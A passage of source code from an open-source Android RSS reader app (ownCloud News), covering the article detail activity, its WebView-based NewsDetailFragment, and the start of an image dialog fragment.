{\n\t\t\t\t\tmenuItem_RemovePodcast.setVisible(!result);\n\t\t\t\t}\n\t\t\t});\n\t\t} else if (itemId == R.id.action_tts) {\n\t\t\tthis.startTTS(currentPosition);\n\t\t} else if (itemId == R.id.action_ShareItem) {\n\t\t\tthis.share(currentPosition);\n\t\t} else if (itemId == R.id.action_incognito_mode) {\n\t\t\ttoggleIncognitoMode();\n\t\t\tupdateActionBarIcons();\n\t\t}\n\n\t\treturn super.onOptionsItemSelected(item);\n\t}\n\n\t/**\n\t * Opens current article in selected browser\n\t *\n\t * @param currentPosition currently viewed article\n\t */\n\tprivate void openInBrowser(int currentPosition) {\n\t\tRssItem rssItem = rssItems.get(currentPosition);\n\t\tNewsDetailFragment newsDetailFragment = getNewsDetailFragmentAtPosition(currentPosition);\n\t\tString link;\n\n\t\tif (newsDetailFragment != null) {\n\t\t\tlink = newsDetailFragment.binding.webview.getUrl();\n\n\t\t\tif (\"about:blank\".equals(link)) {\n\t\t\t\tlink = rssItem.getLink();\n\t\t\t}\n\n\t\t\tif (!link.isEmpty()) {\n\t\t\t\tnewsDetailFragment.loadURL(link);\n\t\t\t}\n\t\t} else {\n\t\t\tToast.makeText(NewsDetailActivity.this, \"NewsDetailFragment is not initialized - please try again and report this error\", Toast.LENGTH_LONG).show();\n\t\t}\n\t}\n\n\t/**\n\t * Initiates share event for current item\n\t *\n\t * @param currentPosition currently viewed article\n\t */\n\tprivate void share(int currentPosition) {\n\t\tRssItem rssItem = rssItems.get(currentPosition);\n\t\tString title = rssItem.getTitle();\n\t\tString content = rssItem.getLink();\n\n\t\tNewsDetailFragment fragment = getNewsDetailFragmentAtPosition(currentPosition);\n\t\tif (fragment != null) { // could be null if not instantiated yet\n\t\t\tif (!fragment.binding.webview.getUrl().equals(\"about:blank\") && !fragment.binding.webview.getUrl().trim().equals(\"\")) {\n\t\t\t\tcontent = fragment.binding.webview.getUrl();\n\t\t\t\ttitle = fragment.binding.webview.getTitle();\n\t\t\t}\n\t\t}\n\n\t\tIntent share = new Intent(Intent.ACTION_SEND);\n\t\tshare.setType(\"text/plain\");\n\t\t//share.putExtra(Intent.EXTRA_SUBJECT, rssFiles.get(currentPosition).getTitle());\n\t\t//share.putExtra(Intent.EXTRA_TEXT, rssFiles.get(currentPosition).getLink());\n\t\tshare.putExtra(Intent.EXTRA_SUBJECT, title);\n\t\tshare.putExtra(Intent.EXTRA_TEXT, content);\n\n\t\tstartActivity(Intent.createChooser(share, \"Share Item\"));\n\t}\n\n\t/**\n\t * Starts TTS for current position\n\t *\n\t * @param currentPosition currently viewed article\n\t */\n\tprivate void startTTS(int currentPosition) {\n\t\tRssItem rssItem = rssItems.get(currentPosition);\n\t\tString text = rssItem.getTitle() + \". \" + Html.fromHtml(rssItem.getBody()).toString();\n\t\t// Log.d(TAG, text);\n\t\tTTSItem ttsItem = new TTSItem(rssItem.getId(), rssItem.getAuthor(), rssItem.getTitle(), text, rssItem.getFeed().getFaviconUrl());\n\t\topenMediaItem(ttsItem);\n\t}\n\n\t/**\n\t * Toggles marked as read for current element\n\t *\n\t * @param currentPosition currently viewed article\n\t */\n\tprivate void markRead(int currentPosition) {\n\t\tRssItem rssItem = rssItems.get(currentPosition);\n\t\tmarkItemAsReadOrUnread(rssItem, !menuItem_Read.isChecked());\n\t\tupdateActionBarIcons();\n\t\tmPostDelayHandler.delayTimer();\n\t}\n\n\n\tpublic void toggleRssItemStarredState() {\n\t\tRssItem rssItem = rssItems.get(currentPosition);\n\t\tBoolean curState = rssItem.getStarred_temp();\n\t\trssItem.setStarred_temp(!curState);\n\t\tdbConn.updateRssItem(rssItem);\n\n\t\tupdateActionBarIcons();\n\n\t\tmPostDelayHandler.delayTimer();\n\t}\n\n\tprivate boolean isChromeDefaultBrowser() {\n\t\tIntent browserIntent = new Intent(\"android.intent.action.VIEW\", Uri.parse(\"http://\"));\n\t\tResolveInfo resolveInfo = getPackageManager().resolveActivity(browserIntent, PackageManager.MATCH_DEFAULT_ONLY);\n\n\t\tLog.v(TAG, \"Default Browser is: \" + requireNonNull(resolveInfo).loadLabel(getPackageManager()).toString());\n\t\treturn (resolveInfo.loadLabel(getPackageManager()).toString().contains(\"Chrome\"));\n\t}\n\n\tprivate void markItemAsReadOrUnread(RssItem item, boolean read) {\n\t\tNewsReaderListActivity.stayUnreadItems.add(item.getId());\n\n\t\titem.setRead_temp(read);\n\t\tdbConn.updateRssItem(item);\n\t\tupdateActionBarIcons();\n\t}\n\n\t@Override\n\tpublic void finish() {\n\t\tIntent intent = new Intent();\n\t\tintent.putExtra(\"POS\", mViewPager.getCurrentItem());\n\t\tsetResult(RESULT_OK, intent);\n\t\tsuper.finish();\n\t}\n\n\tpublic boolean isIncognitoEnabled() {\n\t\treturn mPrefs.getBoolean(INCOGNITO_MODE_ENABLED, false);\n\t}\n\n\tpublic void setIncognitoEnabled(boolean enabled) {\n\t\tmPrefs.edit().putBoolean(INCOGNITO_MODE_ENABLED, enabled).commit();\n\t\tinitIncognitoMode();\n\t}\n\n\tpublic void initIncognitoMode() {\n        if (isIncognitoEnabled()) {\n            boolean isLightTheme = !ThemeChooser.isDarkTheme(this);\n            if (isLightTheme) {\n\n                int color = getResources().getColor(isIncognitoEnabled() ? R.color.material_grey_900 : R.color.colorPrimary);\n                ThemeUtils.colorizeToolbar(binding.toolbarLayout.toolbar, color);\n                // the first three menu items are from the fast actions (if enabled)\n                int skipItems = mShowFastActions ? 3 : 0;\n                int white = getResources().getColor(android.R.color.white);\n                ThemeUtils.colorizeToolbarForeground(binding.toolbarLayout.toolbar, white, skipItems);\n                clearLightStatusBar(getWindow().getDecorView());\n                getWindow().setStatusBarColor(color);\n            }\n        }\n\n\n\t\t//ThemeUtils.colorizeToolbar(bottomAppBar, color);\n\t\t//ThemeUtils.changeStatusBarColor(this, color);\n\t\t//getWindow().setNavigationBarColor(color);\n\n\n\t\t/*\n\t\tswitch (ThemeChooser.getSelectedTheme()) {\n\t\t\tcase LIGHT:\n\t\t\t\tLog.d(TAG, \"initIncognitoMode: LIGHT\");\n\t\t\t\tgetWindow().setStatusBarColor(Color.WHITE);\n\t\t\t\tbreak;\n\t\t\tcase DARK:\n\t\t\t\tclearLightStatusBar(getWindow().getDecorView());\n\t\t\t\tLog.d(TAG, \"initIncognitoMode: DARK\");\n\t\t\t\tgetWindow().setStatusBarColor(getResources().getColor(R.color.material_grey_900));\n\t\t\t\tbreak;\n\t\t\tcase OLED:\n\t\t\t\tclearLightStatusBar(getWindow().getDecorView());\n\t\t\t\tLog.d(TAG, \"initIncognitoMode: OLED\");\n\t\t\t\tgetWindow().setStatusBarColor(Color.BLACK);\n\t\t\t\tbreak;\n\t\t}\n\t\t*/\n\t}\n\n\n\tprivate void setLightStatusBar(@NonNull View view) {\n\t\tif (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n\t\t\tint flags = view.getSystemUiVisibility(); // get current flag\n\t\t\tflags |= View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR;   // add LIGHT_STATUS_BAR to flag\n\t\t\tview.setSystemUiVisibility(flags);\n\t\t}\n\t}\n\n\tpublic static void clearLightStatusBar(@NonNull View view) {\n\t\tif (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n\t\t\tint flags = view.getSystemUiVisibility();\n\t\t\tflags &= ~View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR;\n\t\t\tview.setSystemUiVisibility(flags);\n\t\t}\n\t}\n\n\n\t/**\n\t * A {@link FragmentPagerAdapter} that returns a fragment corresponding to\n\t * one of the sections/tabs/pages.\n\t */\n\t//public class SectionsPagerAdapter extends FragmentPagerAdapter {\n\tpublic class SectionsPagerAdapter extends FragmentStatePagerAdapter {\n\n\t\tSparseArray<WeakReference<NewsDetailFragment>> items = new SparseArray<>();\n\n\t\tpublic SectionsPagerAdapter(FragmentManager fm) {\n\t\t\tsuper(fm);\n\n\t\t\tfor (Fragment fragment : fm.getFragments()) {\n\t\t\t\tif (fragment instanceof NewsDetailFragment) {\n\t\t\t\t\tint id = ((NewsDetailFragment) fragment).getSectionNumber();\n\t\t\t\t\tLog.v(TAG, \"Retaining NewsDetailFragment with ID: \" + id);\n\t\t\t\t\titems.put(id, new WeakReference<>((NewsDetailFragment) fragment));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t@NonNull\n\t\t@Override\n\t\tpublic Fragment getItem(int position) {\n\t\t\tNewsDetailFragment fragment = null;\n\n\t\t\tif(items.get(position) != null) {\n\t\t\t\tfragment = items.get(position).get();\n\t\t\t}\n\n\t\t\tif(fragment == null) {\n\t\t\t\tfragment = new NewsDetailFragment();\n\t\t\t\tBundle args = new Bundle();\n\t\t\t\targs.putInt(NewsDetailFragment.ARG_SECTION_NUMBER, position);\n\t\t\t\tfragment.setArguments(args);\n\t\t\t\titems.put(position, new WeakReference<>(fragment));\n\t\t\t}\n\n\t\t\treturn fragment;\n\t\t}\n\n\t\t@Override\n\t\tpublic void destroyItem(@NonNull ViewGroup container, int position, @NonNull Object object) {\n\t\t\titems.remove(position);\n\n\t\t\tsuper.destroyItem(container, position, object);\n\t\t}\n\n\t\t@Override\n\t\tpublic int getCount() {\n\t\t\t//return cursor.getCount();\n\t\t\treturn rssItems.size();\n\t\t}\n\n\t\t@Override\n\t\tpublic CharSequence getPageTitle(int position) {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\tprotected void setBackgroundColorOfViewPager(int backgroundColor) {\n\t\tthis.mViewPager.setBackgroundColor(backgroundColor);\n\t}\n}"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsDetailFragment.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader;\n\nimport android.annotation.SuppressLint;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.net.Uri;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.util.Log;\nimport android.view.ContextMenu;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.webkit.WebBackForwardList;\nimport android.webkit.WebHistoryItem;\nimport android.webkit.WebSettings;\nimport android.webkit.WebView;\nimport android.webkit.WebViewClient;\nimport android.widget.Toast;\n\nimport androidx.annotation.NonNull;\nimport androidx.annotation.Nullable;\nimport androidx.browser.customtabs.CustomTabsIntent;\nimport androidx.core.content.ContextCompat;\nimport androidx.fragment.app.DialogFragment;\nimport androidx.fragment.app.Fragment;\nimport androidx.fragment.app.FragmentActivity;\nimport androidx.fragment.app.FragmentTransaction;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.select.Elements;\n\nimport java.io.File;\nimport java.net.MalformedURLException;\nimport java.net.URL;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.adapter.ProgressBarWebChromeClient;\nimport de.luhmer.owncloudnewsreader.async_tasks.RssItemToHtmlTask;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.databinding.FragmentNewsDetailBinding;\nimport de.luhmer.owncloudnewsreader.helper.AsyncTaskHelper;\nimport de.luhmer.owncloudnewsreader.helper.ColorHelper;\nimport de.luhmer.owncloudnewsreader.services.DownloadWebPageService;\n\npublic class NewsDetailFragment extends Fragment implements RssItemToHtmlTask.Listener {\n\n\tpublic  static final String ARG_SECTION_NUMBER = \"ARG_SECTION_NUMBER\";\n    private static final String RSS_ITEM_PAGE_URL = \"about:blank\";\n\n\tpublic final String TAG = getClass().getCanonicalName();\n\n\tprotected FragmentNewsDetailBinding binding;\n\n    protected @Inject SharedPreferences mPrefs;\n\n    private int section_number;\n    protected String html;\n    // private String title = \"\";\n    // private String baseUrl = null;\n    private float scalingFactor = 1.0f;\n    // private GestureDetector mGestureDetector;\n\n\n    public NewsDetailFragment() { }\n\n    public int getSectionNumber() {\n        return section_number;\n    }\n\n    @Override\n    public void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        ((NewsReaderApplication) requireActivity().getApplication()).getAppComponent().injectFragment(this);\n        scalingFactor = Float.parseFloat(mPrefs.getString(SettingsActivity.SP_FONT_SIZE, \"1.0\"));\n\n        // Retain this fragment across configuration changes.\n        setRetainInstance(true);\n    }\n\n    @Override\n    public void onResume() {\n        super.onResume();\n        resumeCurrentPage();\n\n        registerForContextMenu(binding.webview);\n    }\n\n    @Override\n\tpublic void onPause() {\n\t\tsuper.onPause();\n        pauseCurrentPage();\n\t}\n\n    @Override\n    public void onDestroy() {\n        super.onDestroy();\n        // Log.d(TAG, \"onDestroy: \" + title);\n        binding.webview.destroy();\n    }\n\n    public void pauseCurrentPage() {\n        binding.webview.onPause();\n        binding.webview.pauseTimers();\n    }\n\n    public void resumeCurrentPage() {\n        applyWebSettings();\n        binding.webview.onResume();\n        binding.webview.resumeTimers();\n    }\n\n    /**\n     * @return true when calls to NewsDetailFragment#navigateBack()\n     * can be processed right now\n     * @see NewsDetailFragment#navigateBack()\n     */\n    public boolean canNavigateBack() {\n        return !isCurrentPageRssItem();\n    }\n\n    /**\n     * Navigates back to the last displayed page. Call NewsDetailFragment#canNavigateBack()\n     * to check if back navigation is possible right now. Use e.g. for back button handling.\n     * @see NewsDetailFragment#navigateBack()\n     */\n    public void navigateBack() {\n        if (isLastPageRssItem()) {\n            binding.webview.clearHistory();\n            startLoadRssItemToWebViewTask((NewsDetailActivity) getActivity());\n        } else if (!isCurrentPageRssItem()){\n            binding.webview.goBack();\n        }\n    }\n\n    @Override\n\tpublic View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {\n        binding = FragmentNewsDetailBinding.inflate(inflater, container, false);\n\n\t\tsection_number = (Integer) requireArguments().get(ARG_SECTION_NUMBER);\n\n        NewsDetailActivity ndActivity = ((NewsDetailActivity)getActivity());\n        assert ndActivity != null;\n\n        /*\n\t\t// Do not reload webView if retained\n        if (savedInstanceState != null) {\n            Log.d(TAG, \"onCreateView restore webview\");\n            binding.webview.restoreState(savedInstanceState);\n            setWebViewBackgroundColor(ndActivity);\n            binding.progressBarLoading.setVisibility(View.GONE);\n            binding.progressbarWebview.setVisibility(View.GONE);\n            // Make sure to sync the incognitio on retained views\n            syncIncognitoState();\n            this.addBottomPaddingForFastActions(binding.webview);\n        } else {\n            Log.d(TAG, \"onCreateView new webview\");\n            startLoadRssItemToWebViewTask(ndActivity);\n        }\n        // setUpGestureDetector();\n        */\n\n        // the whole process of saving and restoring instances is way too expensive - especially\n        // for huge pages (such as android central has them) - it'll just freeze the webview\n        startLoadRssItemToWebViewTask(ndActivity);\n\n        return binding.getRoot();\n    }\n\n\tprivate void setWebViewBackgroundColor(NewsDetailActivity ndActivity) {\n        int backgroundColor = ContextCompat.getColor(ndActivity, R.color.news_detail_background_color);\n        binding.webview.setBackgroundColor(backgroundColor);\n        ndActivity.setBackgroundColorOfViewPager(backgroundColor);\n    }\n\n\tprotected void syncIncognitoState() {\n        NewsDetailActivity ndActivity = ((NewsDetailActivity) requireActivity());\n        boolean isIncognito = ndActivity.isIncognitoEnabled();\n        binding.webview.getSettings().setBlockNetworkLoads(isIncognito);\n        // binding.webview.getSettings().setBlockNetworkImage(isIncognito);\n    }\n\n    /*\n\t@Override\n    public void onSaveInstanceState(@NonNull Bundle outState) {\n        Log.d(TAG, \"onSaveInstanceState: \" + title);\n        //binding.webview.saveState(outState);\n    }\n    */\n\n    /**\n     * Double tap to star listener (double tap the webview to mark the current item as read)\n     */\n    /*\n\tprivate void setUpGestureDetector() {\n        mGestureDetector = new GestureDetector(getContext(), new GestureDetector.SimpleOnGestureListener());\n\n        mGestureDetector.setOnDoubleTapListener(new GestureDetector.OnDoubleTapListener()\n        {\n            @Override\n            public boolean onSingleTapConfirmed(MotionEvent e) {\n                return false;\n            }\n\n            @Override\n            public boolean onDoubleTap(MotionEvent e) {\n                Log.v(TAG, \"onDoubleTap() called with: e = [\" + e + \"]\");\n                NewsDetailActivity ndActivity = ((NewsDetailActivity)getActivity());\n                if(ndActivity != null) {\n                    ((NewsDetailActivity) getActivity()).toggleRssItemStarredState();\n\n                    // Star has 5 corners. So we can rotate it by 2/5\n                    View view = getActivity().findViewById(R.id.action_starred);\n                    ObjectAnimator animator = ObjectAnimator.ofFloat(view, \"rotation\", view.getRotation() + (2*(360f/5f)));\n                    animator.start();\n                }\n                return false;\n            }\n\n            @Override\n            public boolean onDoubleTapEvent(MotionEvent e) {\n                return false;\n            }\n        });\n    }\n    */\n\n    protected void startLoadRssItemToWebViewTask(NewsDetailActivity ndActivity) {\n        binding.webview.setVisibility(View.GONE);\n        binding.progressBarLoading.setVisibility(View.VISIBLE);\n\n        setWebViewBackgroundColor(ndActivity);\n\n        init_webView();\n        RssItem rssItem = ndActivity.rssItems.get(section_number);\n        Log.d(TAG, \"startLoadRssItemToWebViewTask: \" + rssItem.getTitle());\n        RssItemToHtmlTask task = new RssItemToHtmlTask(ndActivity, rssItem, this, mPrefs);\n        AsyncTaskHelper.StartAsyncTask(task);\n    }\n\n    @Override\n    public void onRssItemParsed(String htmlPage) {\n        binding.webview.setVisibility(View.VISIBLE);\n        binding.progressBarLoading.setVisibility(View.GONE);\n        Log.d(TAG, \"progressBarLoading gone\");\n\n        setSoftwareRenderModeForWebView(htmlPage, binding.webview);\n\n        html = htmlPage;\n        binding.webview.loadDataWithBaseURL(\"file:///android_asset/\", htmlPage, \"text/html\", \"UTF-8\", RSS_ITEM_PAGE_URL);\n    }\n\n    /**\n     * This function has no effect on devices with api level < HONEYCOMB\n     */\n    private void setSoftwareRenderModeForWebView(String htmlPage, WebView webView) {\n        if (htmlPage.contains(\".gif\")) {\n            if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {\n                // Workaround some playback issues with gifs on devices below android oreo\n                webView.setLayerType(WebView.LAYER_TYPE_SOFTWARE, null);\n            }\n\n            Log.v(\"NewsDetailFragment\", \"Using LAYER_TYPE_SOFTWARE\");\n        } else {\n            if (webView.getLayerType() == WebView.LAYER_TYPE_HARDWARE) {\n                Log.v(\"NewsDetailFragment\", \"Using LAYER_TYPE_HARDWARE\");\n            } else if (webView.getLayerType() == WebView.LAYER_TYPE_SOFTWARE) {\n                Log.v(\"NewsDetailFragment\", \"Using LAYER_TYPE_SOFTWARE\");\n            } else {\n                Log.v(\"NewsDetailFragment\", \"Using LAYER_TYPE_DEFAULT\");\n            }\n        }\n    }\n\n    private void applyWebSettings() {\n        WebSettings webSettings = binding.webview.getSettings();\n        //webSettings.setPluginState(WebSettings.PluginState.ON);\n        webSettings.setJavaScriptEnabled(true);\n        webSettings.setAllowContentAccess(true);\n        webSettings.setAllowFileAccess(true);\n        webSettings.setDomStorageEnabled(true);\n        webSettings.setJavaScriptCanOpenWindowsAutomatically(false);\n        webSettings.setSupportMultipleWindows(false);\n\n        boolean zoomEnabled = mPrefs.getBoolean(SettingsActivity.CB_DETAILED_VIEW_ZOOM, true);\n        webSettings.setSupportZoom(zoomEnabled);\n        webSettings.setBuiltInZoomControls(zoomEnabled);\n        webSettings.setDisplayZoomControls(false);\n        webSettings.setUseWideViewPort(true);\n\n        webSettings.setMediaPlaybackRequiresUserGesture(true);\n\n        webSettings.setTextZoom(Math.round(scalingFactor * 100));\n\n        syncIncognitoState();\n    }\n\n    @SuppressLint(\"SetJavaScriptEnabled\")\n\tprivate void init_webView() {\n        int backgroundColor = ColorHelper.getColorFromAttribute(getContext(),\n                R.attr.news_detail_background_color);\n        binding.webview.setBackgroundColor(backgroundColor);\n\n        applyWebSettings();\n\n        syncIncognitoState();\n\n        binding.webview.setWebChromeClient(new ProgressBarWebChromeClient(binding.progressbarWebview));\n\n        binding.webview.setWebViewClient(new WebViewClient() {\n\n            /*\n            private final Map<String, Boolean> loadedUrls = new HashMap<>();\n\n            @Override\n            public WebResourceResponse shouldInterceptRequest(WebView view, String url) {\n                //Log.d(TAG, \"shouldInterceptRequest: \" + url);\n\n                boolean isAd;\n                if (!loadedUrls.containsKey(url)) {\n                    isAd = AdBlocker.isAd(url);\n                    loadedUrls.put(url, isAd);\n                } else {\n                    isAd = loadedUrls.get(url);\n                }\n                return isAd ? AdBlocker.createEmptyResource() : super.shouldInterceptRequest(view, url);\n            }\n            */\n\n            @Override\n            public boolean shouldOverrideUrlLoading(WebView view, String url) {\n                NewsDetailFragment.this.loadURL(url);\n                return true;\n            }\n\n            @Override\n            public void onPageFinished(WebView view, String url) {\n                super.onPageFinished(view, url);\n                addBottomPaddingForFastActions(view);\n            }\n        });\n\n        /*\n        binding.webview.setOnTouchListener((v, event) -> {\n            mGestureDetector.onTouchEvent(event);\n            return false;\n        });\n        */\n\t}\n\n    /**\n     * Add free space to bottom of web-site if Fast-Actions are switched on.\n     * Otherwise the fast action bar might hide the article content.\n     * Method to modify the body margins with JavaScript seems to be dirty, but no other\n     * solution seems to be available.\n     *\n     * This method does (for unknown reasons) not work if WebView gets restored. The Javascript is\n     * called but not executed.\n     *\n     * This is (only) a problem, if user swipes back in viewpager to already loaded articles.\n     * Solution might be to switch to a different design.\n     *  - Bottom App Bar -- overall cleanest solution but interferes with current implementation\n     *    of Podcast Player\n     *  - Auto-hiding ActionBar. Hard to implement as scroll behaviour of WebView has to be used\n     *    for hiding/showing ActionBar.\n     *\n     * @param view WebView with article\n     */\n\tprivate void addBottomPaddingForFastActions(WebView view) {\n        if (mPrefs.getBoolean(SettingsActivity.CB_SHOW_FAST_ACTIONS,true)) {\n            view.loadUrl(\"javascript:document.body.style.marginBottom=\\\"100px\\\"; void 0\");\n        }\n    }\n\n    /**\n     * Loads the given url in the selected view based on user settings (Custom Chrome Tabs, webview or external)\n     *\n     * @param url address to load\n     */\n\tpublic void loadURL(String url) {\n        int selectedBrowser = Integer.parseInt(mPrefs.getString(SettingsActivity.SP_DISPLAY_BROWSER, \"0\"));\n\n        File webArchiveFile = DownloadWebPageService.getWebPageArchiveFileForUrl(getActivity(), url);\n        if(webArchiveFile.exists()) { // Test if WebArchive exists for url\n            binding.tvOfflineVersion.setVisibility(View.VISIBLE);\n            binding.webview.loadUrl(\"file://\" + webArchiveFile.getAbsolutePath());\n        } else {\n            binding.tvOfflineVersion.setVisibility(View.GONE);\n            switch (selectedBrowser) {\n                case 0: // Custom Tabs\n                    final FragmentActivity activity = requireActivity();\n                    CustomTabsIntent.Builder builder = new CustomTabsIntent.Builder()\n                            .setShowTitle(true)\n                            .setStartAnimations(activity, R.anim.slide_in_right, R.anim.slide_out_left)\n                            .setExitAnimations(activity, R.anim.slide_in_left, R.anim.slide_out_right)\n                            .addDefaultShareMenuItem();\n                    try {\n                        builder.build().launchUrl(activity, Uri.parse(url));\n                    } catch(Exception ex) {\n                        Toast.makeText(NewsDetailFragment.this.getContext(), \"Invalid URL: \" + url, Toast.LENGTH_LONG).show();\n                    }\n                    break;\n                case 1: // External Browser\n                    Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));\n                    startActivity(browserIntent);\n                    break;\n                case 2: // Built in\n                    binding.webview.loadUrl(url);\n                    break;\n                default:\n                    throw new IllegalStateException(\"Unknown selection!\");\n            }\n        }\n    }\n\n\n    public void onCreateContextMenu(@NonNull ContextMenu menu, @NonNull View view, ContextMenu.ContextMenuInfo menuInfo) {\n        if (!(view instanceof WebView)) {\n            Log.w(TAG, \"onCreateContextMenu - no webview reference found\");\n            return;\n        }\n\n        if (view != binding.webview) {\n            Log.d(TAG, \"onCreateContextMenu - wrong webview - skip creation of context menu\");\n        }\n\n        WebView.HitTestResult result = ((WebView) view).getHitTestResult();\n        if (result == null) {\n            Log.d(TAG, \"onCreateContextMenu - no webview hit result\");\n            return;\n        }\n\n        if (html == null) {\n            Log.e(TAG, \"onCreateContextMenu - html is not set - failed to load RSS item\");\n            return;\n        }\n\n        int type = result.getType();\n        DialogFragment newFragment = null;\n\n        switch (type) {\n            case WebView.HitTestResult.IMAGE_TYPE:\n            case WebView.HitTestResult.SRC_IMAGE_ANCHOR_TYPE:\n                String imageUrl = result.getExtra();\n\n                if (imageUrl.startsWith(\"http\") || imageUrl.startsWith(\"file\")) {\n                    URL mImageUrl;\n                    String imgtitle;\n                    String imgaltval;\n                    String imgsrcval;\n\n                    imgsrcval = imageUrl.substring(imageUrl.lastIndexOf('/') + 1);\n                    Document htmlDoc = Jsoup.parse(html);\n                    Elements imgtag = htmlDoc.getElementsByAttributeValueContaining(\"src\", imageUrl);\n\n                    try {\n                        imgtitle = imgtag.first().attr(\"title\");\n                    } catch (NullPointerException e) {\n                        imgtitle = \"\";\n                    }\n                    try {\n                        imgaltval = imgtag.first().attr(\"alt\");\n                    } catch (NullPointerException e) {\n                        imgaltval = \"\";\n                    }\n                    try {\n                        mImageUrl = new URL(imageUrl);\n                    } catch (MalformedURLException e) {\n                        return;\n                    }\n\n                    String title = imgsrcval;\n                    int titleIcon = android.R.drawable.ic_menu_gallery;\n                    String text = (imgtitle.isEmpty()) ? imgaltval : imgtitle;\n\n                    // Create and show the dialog.\n                    newFragment = NewsDetailImageDialogFragment.newInstanceImage(title, titleIcon, text, mImageUrl);\n                }\n                break;\n\n            case WebView.HitTestResult.SRC_ANCHOR_TYPE:\n                String url = result.getExtra();\n                URL mUrl;\n                String text;\n                try {\n                    Document htmlDoc = Jsoup.parse(html);\n                    Elements urltag = htmlDoc.getElementsByAttributeValueContaining(\"href\", url);\n                    text = urltag.text();\n                    mUrl = new URL(url);\n                } catch (MalformedURLException e) {\n                    return;\n                }\n\n                // Create and show the dialog.\n                newFragment = NewsDetailImageDialogFragment.newInstanceUrl(text, mUrl.toString());\n                break;\n            case WebView.HitTestResult.EMAIL_TYPE:\n            case WebView.HitTestResult.GEO_TYPE:\n            case WebView.HitTestResult.PHONE_TYPE:\n            case WebView.HitTestResult.EDIT_TEXT_TYPE:\n                break;\n            default:\n                Log.v(TAG, \"Unknown type: \" + type + \". Skipping..\");\n        }\n\n        if (newFragment != null) {\n            FragmentTransaction ft = getParentFragmentManager().beginTransaction();\n            newFragment.show(ft, \"menu_fragment_dialog\");\n        }\n    }\n\n    /**\n     * @return true when the last page on the webview's history stack is\n     * the original rss item page\n     */\n    private boolean isLastPageRssItem() {\n        WebBackForwardList list = binding.webview.copyBackForwardList();\n        WebHistoryItem lastItem = list.getItemAtIndex(list.getCurrentIndex() - 1);\n        return lastItem != null && lastItem.getUrl().equals(RSS_ITEM_PAGE_URL);\n    }\n\n    /**\n     * @return true when the current page on the webview's history stack is\n     * the original rss item page\n     */\n    @SuppressWarnings(\"BooleanMethodIsAlwaysInverted\")\n    private boolean isCurrentPageRssItem() {\n        if(binding.webview.copyBackForwardList().getCurrentItem() != null) {\n            String currentPageUrl = binding.webview.copyBackForwardList().getCurrentItem().getOriginalUrl();\n            return currentPageUrl.equals(\"data:text/html;charset=utf-8;base64,\");\n        }\n        return true;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsDetailImageDialogFragment.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport static androidx.core.content.PermissionChecker.checkSelfPermission;\n\nimport android.Manifest;\nimport android.app.Activity;\nimport android.app.DownloadManager;\nimport android.content.BroadcastReceiver;\nimport android.content.ClipData;\nimport android.content.ClipboardManager;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.IntentFilter;\nimport android.content.SharedPreferences;\nimport android.database.Cursor;\nimport android.graphics.BitmapFactory;\nimport android.net.Uri;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.os.Environment;\nimport android.util.Log;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.webkit.MimeTypeMap;\nimport android.widget.AdapterView;\nimport android.widget.ArrayAdapter;\nimport android.widget.ImageView;\nimport android.widget.ListView;\nimport android.widget.TextView;\nimport android.widget.Toast;\n\nimport androidx.core.app.ActivityCompat;\nimport androidx.core.content.ContextCompat;\nimport androidx.core.content.PermissionChecker;\nimport androidx.fragment.app.DialogFragment;\n\nimport net.rdrei.android.dirchooser.DirectoryChooserConfig;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.ArrayList;\nimport java.util.LinkedHashMap;\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.helper.NewsFileUtils;\nimport de.luhmer.owncloudnewsreader.notification.NextcloudNotificationManager;\n\npublic class NewsDetailImageDialogFragment extends DialogFragment {\n\n    private static final int REQUEST_DIRECTORY = 0;\n    public enum TYPE { IMAGE, URL }\n    private static final String TAG = NewsDetailImageDialogFragment.class.getCanonicalName();\n\n    private int mDialogIcon;\n    private String mDialogTitle;\n    private String mDialogText;\n    private URL mImageUrl;\n    private TYPE mDialogType;\n\n    private long downloadID;\n    private DownloadManager downloadManager;\n    private BroadcastReceiver downloadCompleteReceiver;\n\n    private LinkedHashMap<String, MenuAction> mMenuItems;\n\n    static NewsDetailImageDialogFragment newInstanceImage(String dialogTitle, Integer titleIcon, String 